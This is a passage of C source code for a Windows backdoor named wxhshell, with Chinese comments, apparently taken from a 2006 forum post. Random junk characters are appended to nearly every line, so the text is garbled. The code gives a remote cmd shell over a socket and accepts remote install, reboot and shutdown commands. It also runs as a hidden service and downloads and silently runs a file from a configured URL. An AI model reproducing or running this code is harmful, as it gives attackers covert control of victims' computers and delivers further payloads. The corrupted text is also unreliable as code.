    switch(cmd[0]) { Rt?CE jy  
  @mCe{r*`  
  // 帮助 MSmr7%g3D  
  case '?': { f 0H.$UAL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Odo)h  
    break; J!l/.:`6  
  } +ALrHFG  
  // 安装 &za }TH m  
  case 'i': { q5_zsUR=  
    if(Install()) +KbkdY Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +bE{g@%@ +  
    else ]`)5 Qe4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n}UJ - \$  
    break; 'd~(=6J  
    } AAQ!8!  
  // 卸载 ;d}>8w&tfy  
  case 'r': { S a +Y/  
    if(Uninstall()) ycBgr,Ynu<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7y=O!?*  
    else ',R%Q0Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {N}az"T4f  
    break; svmb~n&x6  
    } Ef`'r))  
  // 显示 wxhshell 所在路径 zwV!6xG  
  case 'p': { u:APGR^  
    char svExeFile[MAX_PATH]; Zp7Pw   
    strcpy(svExeFile,"\n\r"); %e]G]B%  
      strcat(svExeFile,ExeFile); Tv"T+!Z  
        send(wsh,svExeFile,strlen(svExeFile),0); UDI\o1Rbp  
    break; (B4)L%  
    } rNk'W,FU  
  // 重启 q'8*bu_  
  case 'b': { Rj";?.R*e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p/ (Z2N"  
    if(Boot(REBOOT)) { YQS fk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c[ZrQJ  
    else { [e` | <  
    closesocket(wsh); 8n5~K.;<  
    ExitThread(0); mI7lv;oN<5  
    } f,yl'2{  
    break; trDw|WA  
    } f!kZyD7  
  // 关机 )l`Ks  
  case 'd': { 2L&c91=wE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @.7/lRr@bp  
    if(Boot(SHUTDOWN)) }W'j Dz7O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O4X03fUx  
    else { %"v:x?d$$o  
    closesocket(wsh); ~Y`ys[Z m  
    ExitThread(0); 9HJYrzf{%  
    } oH w!~ c7  
    break; F9eEQ{L  
    } y!1X3X,V  
  // 获取shell rhkKK_  
  case 's': { |Lg2;P7\  
    CmdShell(wsh); T!,5dt8L  
    closesocket(wsh); //c6vG  
    ExitThread(0); {A==av  
    break; 4wSZ'RTSR  
  } Cdz?+hb  
  // 退出 OpaRQ=  
  case 'x': { :j`f%Vg~x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KfjWZ4{v  
    CloseIt(wsh); `:=1*7)?  
    break; ;J|t-$Z  
    } 1*p6UR&  
  // 离开 %JBLp xnq  
  case 'q': { ta{24{?M\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T^;b98*  
    closesocket(wsh); #8h7C8]&  
    WSACleanup(); DyqqY$ vH(  
    exit(1); 8?82 p  
    break; sAc1t`  
        } R*pPUw\yn  
  } `T*Y1@FV  
  } kKlNhP(  
OvT[JpV  
  // 提示信息 :lXY% [!6P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lan|(!aW  
} t)j$lmQn  
  } 4}DFCF%B  
0JtM|Mg  
  return; DU6j0lz  
} G4c@v1#%.  
We$ n  
// shell模块句柄 d(|?gN^  
int CmdShell(SOCKET sock) h rSH)LbJ  
{ jv.tg,c_6  
STARTUPINFO si; BR|0uJ.M  
ZeroMemory(&si,sizeof(si)); ].rKfv:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C:No ^nH>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Evj%$7H1L1  
PROCESS_INFORMATION ProcessInfo; SAq .W"ri  
char cmdline[]="cmd"; q>(?Z#sB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xY]q[a?cy  
  return 0; nam]eW  
} Jw5@#j  
ez32k[eV!  
// 自身启动模式 Jd/d\P  
int StartFromService(void) d,?D '/  
{ Q   
typedef struct =iB[sLEJ  
{ ?ja%*0 R  
  DWORD ExitStatus; <O=0^V  
  DWORD PebBaseAddress; gd * b0(  
  DWORD AffinityMask; lZRO"[<  
  DWORD BasePriority; *@bz<{!  
  ULONG UniqueProcessId; fNi&r0/-t  
  ULONG InheritedFromUniqueProcessId; +%TgX&a  
}   PROCESS_BASIC_INFORMATION; Fk49~z   
cEa8l~GC<  
PROCNTQSIP NtQueryInformationProcess; .'o=J`|  
DNZ,rL:h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b4wT3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b;D  
m19\H  
  HANDLE             hProcess; c/88|k  
  PROCESS_BASIC_INFORMATION pbi; 2p9^ =  
,gk'8]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A5F (-  
  if(NULL == hInst ) return 0; Q4 &P\V  
m lc8q s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f|(9+~K/7&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Il4]1d|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I(7 GVYM  
Q&PWW#D  
  if (!NtQueryInformationProcess) return 0; (z8ZCyq7r[  
vcj(=\ e8v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fsPsP`|  
  if(!hProcess) return 0; 6p }a!  
G9-ETj}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S-mpob)  
\(7A7~  
  CloseHandle(hProcess); 9O&m7]3  
-zYa@PW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :Ni#XZ{F-/  
if(hProcess==NULL) return 0; cQ<|Of  
Y[)mHs2  
HMODULE hMod; <w}^Z}fpk&  
char procName[255]; .n+ ;&5  
unsigned long cbNeeded; GU`q^q@Ea  
?i_/f}.K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @7"n X  
wz3X;1l`c  
  CloseHandle(hProcess); 1o/(fy  
OcMB)1uh\  
if(strstr(procName,"services")) return 1; // 以服务启动 6 8n ;#-X  
s%y<FXUj  
  return 0; // 注册表启动 4jDi3MMU9  
} yw:%)b{  
2He R1m<  
// 主模块 @ NDcO,]  
int StartWxhshell(LPSTR lpCmdLine) h-Y>>l>PW0  
{ zjA#8;h~w  
  SOCKET wsl; IT=y+  
BOOL val=TRUE; HaL'/V~  
  int port=0; @TW:6v`  
  struct sockaddr_in door; v&G9HiH  
c.1gQy$}|  
  if(wscfg.ws_autoins) Install(); E> pr})^w  
qF^P\cD  
port=atoi(lpCmdLine); HOu$14g  
z[ ;n2o|s  
if(port<=0) port=wscfg.ws_port; p @q20>^u  
q p}2  
  WSADATA data; (rJ-S"^u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h{o,*QL  
^W=hs9a+F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   837:;<T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7;@YR  
  door.sin_family = AF_INET; j<)$ [v6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QZ(O2!Mg  
  door.sin_port = htons(port); bA 0H  
ORKJy )*"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m Qx1co  
closesocket(wsl); i@6g9\x+  
return 1; $X:,Q,?  
} indbg d  
@I1*b>X~<  
  if(listen(wsl,2) == INVALID_SOCKET) { ]U~{?K'g@j  
closesocket(wsl); h`! 4`eI  
return 1; /g*_dH)=  
} Ux?G:LLz  
  Wxhshell(wsl); p`&{NR3+  
  WSACleanup(); c"k nzB vy  
/|NyO+Io  
return 0; [E<A/_z  
)CoFRqz<h  
} dk1q9Tx  
(&)uWjq `  
// 以NT服务方式启动 p cUccQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [7x;H  
{ )IK%Dg(v  
DWORD   status = 0; J R~s`>2  
  DWORD   specificError = 0xfffffff; LjGLi>kI~  
[-#1;!k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xzz@Wc^_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;W+1 H !  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :#sBNy  
  serviceStatus.dwWin32ExitCode     = 0; %vf;qVoA~  
  serviceStatus.dwServiceSpecificExitCode = 0; wp8-(E^  
  serviceStatus.dwCheckPoint       = 0; $=>:pQbBVX  
  serviceStatus.dwWaitHint       = 0; He4q-\ht  
S9[Up}`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SK/}bZ;f  
  if (hServiceStatusHandle==0) return; 8Rw:SU9H?T  
-$%~EY}  
status = GetLastError(); 9\Rk(dd  
  if (status!=NO_ERROR) vm*9xs  
{ bZK`]L[   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /^{Q(R(X<  
    serviceStatus.dwCheckPoint       = 0; ^cW{%R>XY  
    serviceStatus.dwWaitHint       = 0;  `m_f i  
    serviceStatus.dwWin32ExitCode     = status; Yx. t+a-  
    serviceStatus.dwServiceSpecificExitCode = specificError; #0*I|gfV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cbou1Ei   
    return; nf _(_O=  
  } z-0 N/?x1  
y&4im;X0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GQ.akA_(  
  serviceStatus.dwCheckPoint       = 0; *x#5S.i1  
  serviceStatus.dwWaitHint       = 0; PMQ31f/zf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <;+QK=f  
} 23;\l   
b0%#=KMi  
// 处理NT服务事件,比如:启动、停止  wN0?~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?|2m0~%V=  
{ m^0*k|9+G  
switch(fdwControl) hZe9Y?)  
{ RvVF^~u  
case SERVICE_CONTROL_STOP: 6xh -m  
  serviceStatus.dwWin32ExitCode = 0; XxB%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b1e)w?n  
  serviceStatus.dwCheckPoint   = 0; 86&r;c:  
  serviceStatus.dwWaitHint     = 0; =5pwNi_S  
  { )d {8Cu6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2j>C4Ck  
  } _cfAJ)8=  
  return; lg (>n&  
case SERVICE_CONTROL_PAUSE: UU =,Brb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'i/"D8  
  break; nM$-L.dG  
case SERVICE_CONTROL_CONTINUE: HwMe^e;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ocp3JR_0  
  break; wE <PXBl\b  
case SERVICE_CONTROL_INTERROGATE: M@.?l=1X  
  break; {2|sk9?W  
}; l_q1h]/   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7BA9zs392  
} QmPHf*w[  
uTrGb:^  
// 标准应用程序主函数 q=BAYZ\`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K,HR=5  
{ Mr K?,7*Xi  
#DTBdBh?I  
// 获取操作系统版本 !Nhq)i  
OsIsNt=GetOsVer(); 7 Uu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9JC8OSjJ  
uUG&At  
  // 从命令行安装 q p1rP#  
  if(strpbrk(lpCmdLine,"iI")) Install(); rlDJHR6  
ORV'dr  
  // 下载执行文件 37,)/8]lG  
if(wscfg.ws_downexe) { }W]k1Bsx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yF&?gPh&  
  WinExec(wscfg.ws_filenam,SW_HIDE); [;INVUwG^  
} 1\,wV,  
g5&,l  
if(!OsIsNt) { 9c@\-Z'  
// 如果时win9x,隐藏进程并且设置为注册表启动 vr>Rd{dm  
HideProc(); Lr(wS {  
StartWxhshell(lpCmdLine); q/tC/V%@(  
} ;%i.@@:IQ  
else ZZ;V5o6E  
  if(StartFromService()) o|a]Q  
  // 以服务方式启动 {[B`q  
  StartServiceCtrlDispatcher(DispatchTable); u"r1RG'  
else Uefw  
  // 普通方式启动 ?K?v64[  
  StartWxhshell(lpCmdLine); flfE~_  
myY@Wp  
return 0; ] i\a[3  
}
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只看该作者 1 发表于: 2006-10-10
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